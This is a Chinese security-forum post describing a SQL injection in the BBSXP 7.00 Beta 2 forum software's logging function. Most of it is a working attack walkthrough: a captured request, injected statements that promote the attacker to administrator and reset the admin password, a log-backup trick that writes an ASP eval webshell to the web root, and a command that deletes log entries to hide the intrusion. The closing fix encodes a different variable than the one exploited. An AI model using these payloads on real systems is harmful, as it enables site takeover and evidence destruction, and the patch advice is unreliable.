服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5143|回复: 1

BBSXP 7.00 Beta 2 SQL 0day

[复制链接]
dirtysea 发表于 2007-11-27 20:13:45 | 显示全部楼层 |阅读模式

bbsxp前段时间出了个log的注入漏洞,这次的漏洞还是出现在这个地方。
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescri

ption,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEnco

de(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Req

uest.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&HTMLEncod

e(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub
上次漏洞就是出现在HTTP_REFERER上,最新版本的已经用HTMLEncode处理过了。其实在在这个log()里面还是有我们可以控制的变量

,就是Request.Form
注册个用户yl6364,发个贴再编辑。抓包如下:
POST /bbsxp/editpost.asp?threadid=1&postid=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://localhost/bbsxp/editpost.asp?threadid=1&postid=1
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
Host: localhost
Content-Length: 53
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: skins=1; Eremite=0; UserID=2; Userpass=1679707407E0FEDAA79EA80AB389A964; Onlinetime=2007%2D3%

2D10+21%3A30%3A37; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E

%u7F51%u7EDC%3C/option%3E; ASPSESSIONIDSQCDCSQA=NBOPHAJCAIEFFCMHGDFJNKBH; ASPSESSIONIDSCTRRA

CA=OCIBAKBAFDDDJAADKKJBPBNI

content=test+log&UpFileID=&Category=&Subject=test+log

变量Request.Form就是content=test+log&UpFileID=&Category=&Subject=test+log
上面的变量都是经过HTMLEncode处理的,但是我们还是可以想办法饶过去。
我们可以伪造变量,比如我们把content=test+log&UpFileID=&Category=&Subject=test+log改为
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
记得修改Content-Length,打开bbsxp_log表看见POSTData为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love
看出点什么来了吗嘿嘿,我们伪造的变量yl6364就这样进数据库了。因为是伪造的变量所以自然是没有经过任何的过滤。

下面思路就清晰了,提升权限为管理员然后进后台查看网站的路境,再利用log备份拿webshell
提升权限:
content=test+log&UpFileID=&Category=&Subject=test+log
改为:
content=test+log&UpFileID=&Category=&Subject=test+log&yl6364=love','');update bbsxp_users set

userroleid=1 where username='yl6364'--
这样就变为前台的管理员。

修改后台的密码:
update bbsxp_sitesettings set adminpassword='md5密码'--
bbsxp经过md5加密的密码字母都是大写的

获得数据库的名:
update bbsxp_users set usermail=db_name() where username='yl6364'--

log备份拿webshell:
alter database bbsxp set recovery full;drop table cmd;create table cmd (a image);backup log bbsxp to

disk = 'c:\cmd' with init;insert into cmd(a) values ('<%eval request(chr(35)):response.end%>');backup l

og bbsxp to disk = 'C:\web\bbsxp\cmd.asp';--

修改后台密码要记得改回来哦,不然管理员就进不了后台了,所以最好弄得到管理员密码。
最后要记得擦PP,delete * from bbsxp_log where username='yl6364'--

ps:官方论坛我测试过没有成功,不知道什么原因。不过在本地和网上测试成功!


漏洞修补:加上个htmlencode过滤就好了
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Qu

ery_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Ref

errer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REM

OTE_ADDR")&"','"&HTMLEncode(Request.Ser

vervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Req

uest.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"'

,'"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','"&Err.Description&"','"&Request.Form&"

','"&Message&"')")
end sub
改为:
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Que

ry_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Refe

rrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOT

E_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariab

les("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariabl

es("script_name")&""&Query_String&"','"&HTMLEncode(Request.ServerVariables("HTTP_REFERER"))&"','

"&Err.Description&"','"&Request.Form&"','"&HTMLEncode(Message)&"')")
end sub

lxh0896 发表于 2006-6-8 15:55:45 | 显示全部楼层

re:BBSXP 7.00 Beta 2 SQL 0day

1984 10 26
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-18 13:09 , Processed in 0.087481 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表